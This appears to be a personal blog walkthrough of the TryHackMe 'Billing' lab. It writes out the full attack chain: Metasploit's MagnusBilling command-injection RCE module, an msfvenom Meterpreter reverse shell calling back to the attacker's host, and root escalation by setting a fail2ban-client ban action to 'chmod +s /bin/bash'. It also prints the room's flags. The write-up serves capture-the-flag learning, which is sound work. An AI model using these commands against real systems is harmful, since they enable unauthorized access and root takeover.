Billing TryHackMe Walkthrough

TL;DR Walkthrough of the TryHackMe Billing room.

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

I am continuing to attempt TryHackMe rooms that focus on webapps and/or Linux as I am still quite mediocre at best at those. Hence I landed on a room running a vulnerable webapp on Linux. I was able to enumerate and gain initial access on my own, however I did need to a hint to make it to root.

Enumeration

As always, we will start out with an nmap scan.

Sudo nmap –sC –sV -O 10.10.82.101

As a general habit, I threw dirb, gobuster, ffuf, and nikto at the webserver looking for anything interesting.

dirb http://10.10.82.101 /usr/share/wordlists/dirb/common.txt

gobuster dir -u http:// 10.10.82.101 -w /usr/share/wordlists/dirb/common.txt

ffuf -w /usr/share/wordlists/wfuzz/general/big.txt -u http:// 10.10.82.101/FUZZ -fw 1

nikto -h 10.10.82.101

All I really learned though was that a /robots.txt file existed on the webserver. Nmap already showed that.

The robots.txt file said to exclude /mbilling, so we visited

10.10.82.101/mbilling

and found a login page.

I initially thought we were supposed to throw Hydra at it, but the room instructions discouraged brute force and I figured maybe the billing software was vulnerable. We know it’s called Magnus Billing and the login page, so let’s check.

Gaining initial access

This part was simple as Metasploit has a module to exploit a command injection bug in Magnus Billing and get RCE.

msfconsole
search magnusbilling
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set RHOST 10.10.82.101
set LHOST 10.23.20.245
run

We are running as the user asterick and we have read access to /home/magnus. This is where we find the first flag.

cat /home/magnus/user.txt

THM{4a6831d5f124b25eefb1e92e0f0da4ca}

Dead Ends

The initial Meterpreter shell was a bit limited. I’m no Linux SME, or even very good with BASH, but it seemed to be because our Meterpreter session is running from within a PHP shell gained via RCE.

This was a dead end in this room, but I did get some much needed practice with reverse shells, upgrading my shell, and Metasploit’s local_exploit_suggester module.

First I created a reverse shell launcher with msfvenom. Use the ‘tun0’ interface of your Kali VM as the LHOST variable.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.23.20.245 LPORT=5555 -f elf -o reverse-sh.elf

Do this while your present working directory in Kali is the same one you were in when you ran Metasploit earlier. In fact, it helps if you stay in the same folder on Kali during this entire THM room. In my case that folder was ‘/home/kali/Downloads/THM’.

Run a listener in a new tab on Kali.

msfconsole
use exploit/multi/handler
set LHOST 10.23.20.245
set LPORT 5555
set payload linux/x86/meterpreter/reverse_tcp
run

Upload that msfvenom payload to THM’s VM, make it executable, and then run it using that initial Meterpreter session.

upload reverse-sh.elf
chmod 777 reverse-sh.elf
shell
./reverse-sh.elf

This gets us a normal shell. I checked for vulnerabilities that would allow for local privilege escalation.

background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Metasploit showed 4 potential vectors, however none of them worked.

On a sidenote, to list open sessions and get back into one do:

sessions

session -i 1

I tried Linpeas next. I grabbed a copy on my Kali VM.

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64

I then uploaded Linpeas to THM’s VM via that initial Meterpreter session I had open in a tab from exploiting Magnus Billing.

upload linpeas_linux_amd64
chmod 777 linpeas_linux_amd64

However I could not get Linpeas to run on THM’s VM. I even tried running it and re-directing the output to a *.txt file. My copy of Linpeas ran fine on Linux VMs in my home lab. I finally chalked this one up to TryHackMe’s VMs being janky sometimes and moved on.

I next tried ‘sudo -l’. This was the path that apparently TryHackMe wanted us on all along.

Escalating to root

‘sudo -l’ shows us that the user we compromised can run ‘fail2ban-client’ as root. Admittedly I needed a hint at this part, I was out of ideas after linpeas.

I next went down a rabbit hole on Google. Some sources like this one we quite detailed and went into enumerating fail2ban’s configuration, what services it is monitoring, and what configuration files it is using. The guide then recommended manually editing those files in nano or vim to add an action to run on banning an IP. Lastly it recommended pointing Hyrda at the VM to trigger the ban action.

This approach was problematic in practice for a couple reasons:

• The TryHackMe VM was really janky. In addition to not running linpeas it also didn’t work well with nano.
• The config files in question are different depending on the exact version of fail2 ban.
• Even if the attack works, one is then waiting for the ban timer to end to re-connect to the VM.

Luckily it turns out that there are commands one can run rather than manually editing the config files that will set a ban action and then add an IP to ban. Upon adding the IP the ban action is triggered.

We start by checking the fail2ban jail file. This lets us know what command line options to run with the subsequent command.

Please note that this is best done from the second Kali tab we used to catch a reverse shell from our initial exploit of the PHP command injection. We start in Meterpreter, then do:

shell
SHELL=/bin/bash script -q /dev/null
cat /etc/fail2ban/jail.local

[asterisk-iptables]
enabled = true
filter = asterisk
action = iptables-allports[name=ASTERISK, port=all, protocol=all]
logpath = /var/log/asterisk/messages
maxretry = 5
bantime = 600

We take:

• Asterick-iptables
• Iptables-allports-ASTERISK

from above to complete the command syntax:

sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
#Trigger the action by putting an entry in the log
sudo /usr/bin/fail2ban-client set asterisk-iptables banip 8.8.8.8

/bin/bash -p
cat /root/root.txt

THM{33ad5b530e71a172648f424ec23fae60}

That’s it, much simpler than manually editing the configuration files.

Summary

I used to tell an old co-worker that I think I have forgotten more about Windows than I know about Linux, so I’m ok with needing a hint to get further than initial access. I knew some things to try, and had linpeas worked on this room’s VM it likely would have told me about fail2ban. I ran it on my Kali VM

./linpeas_linux_amd64 > linpeas_report_Kali_VM

And it worked fine. It even found all the passwords in my BASH command history with plaintext passwords I used while I was testing out Mishky’s AD Range.

Overall this wasn’t a bad room, the VM was just janky.

References

Some things to look for IOT escalate local privs: https://www.techtarget.com/searchsecurity/feature/How-to-conduct-Linux-privilege-escalations

Reverse shells & msfvenom: https://www.101labs.net/comptia-security/lab-75-establishing-a-reverse-shell-on-a-linux-target-using-msfvenom-and-metasploit/

Meterpreter basics: https://www.offsec.com/metasploit-unleashed/meterpreter-basics/

Linpeas: https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

Upgrade a shell: https://0xffsec.com/handbook/shells/full-tty/

Fail2Ban enumeration & exploit: https://juggernaut-sec.com/fail2ban-lpe/

More on Fail2Ban: https://2h3ph3rd.medium.com/privilege-escalation-with-fail2ban-a8c7b7041cc8

Really good Billing walkthrough I used for hints: https://jaxafed.github.io/posts/tryhackme-billing/